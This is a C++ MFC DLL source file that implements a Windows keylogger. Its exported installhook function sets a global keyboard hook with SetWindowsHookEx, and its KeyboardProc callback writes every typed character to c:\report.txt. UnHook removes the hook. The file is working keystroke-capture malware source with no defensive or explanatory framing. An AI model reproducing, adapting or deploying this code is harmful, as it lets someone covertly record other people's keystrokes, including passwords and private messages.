// hodll.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include "hodll.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif


#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
FILE *f1;
#pragma data_seg()

HINSTANCE hins;
//	Note!
//
//		If this DLL is dynamically linked against the MFC
//		DLLs, any functions exported from this DLL which
//		call into MFC must have the AFX_MANAGE_STATE macro
//		added at the very beginning of the function.
//
//		For example:
//
//		extern "C" BOOL PASCAL EXPORT ExportedFunction()
//		{
//			AFX_MANAGE_STATE(AfxGetStaticModuleState());
//			// normal function body here
//		}
//
//		It is very important that this macro appear in each
//		function, prior to any calls into MFC.  This means that
//		it must appear as the first statement within the 
//		function, even before any object variable declarations
//		as their constructors may generate calls into the MFC
//		DLL.
//
//		Please see MFC Technical Notes 33 and 58 for additional
//		details.
//

/////////////////////////////////////////////////////////////////////////////
// CHodllApp

BEGIN_MESSAGE_MAP(CHodllApp, CWinApp)
	//{{AFX_MSG_MAP(CHodllApp)
		// NOTE - the ClassWizard will add and remove mapping macros here.
		//    DO NOT EDIT what you see in these blocks of generated code!
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CHodllApp construction


LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(
                            int nCode, 
                           WPARAM wParam, 
                            LPARAM lParam)
{

char ch;			
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
	{		
	if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) 
	{
	f1=fopen("c:\\report.txt","a+");
	if (wParam==VK_RETURN)
	{	ch='\n';
		fwrite(&ch,1,1,f1);
	}
    else
	{
   	BYTE ks[256];
    GetKeyboardState(ks);
	WORD w;
	UINT scan;
	scan=0;
	ToAscii(wParam,scan,ks,&w,0);
	ch =char(w); 
	fwrite(&ch,1,1,f1);
	}
    fclose(f1);
	}
  
}

LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );	

return  RetVal;

}
BOOL __declspec(dllexport)__stdcall installhook()
{
f1=fopen("c:\\report.txt","w");
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);

return TRUE;
}
BOOL __declspec(dllexport)  UnHook()
    {
    	
     BOOL unhooked = UnhookWindowsHookEx(hkb);
   // MessageBox(0,"exit","sasa",MB_OK);
     return unhooked;
} 


BOOL CHodllApp::InitInstance ()
{

AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins=AfxGetInstanceHandle();
return TRUE;

}
BOOL CHodllApp::ExitInstance ()
{
 return TRUE;
}

CHodllApp::CHodllApp()
{
	// TODO: add construction code here,
	// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CHodllApp object

CHodllApp theApp;
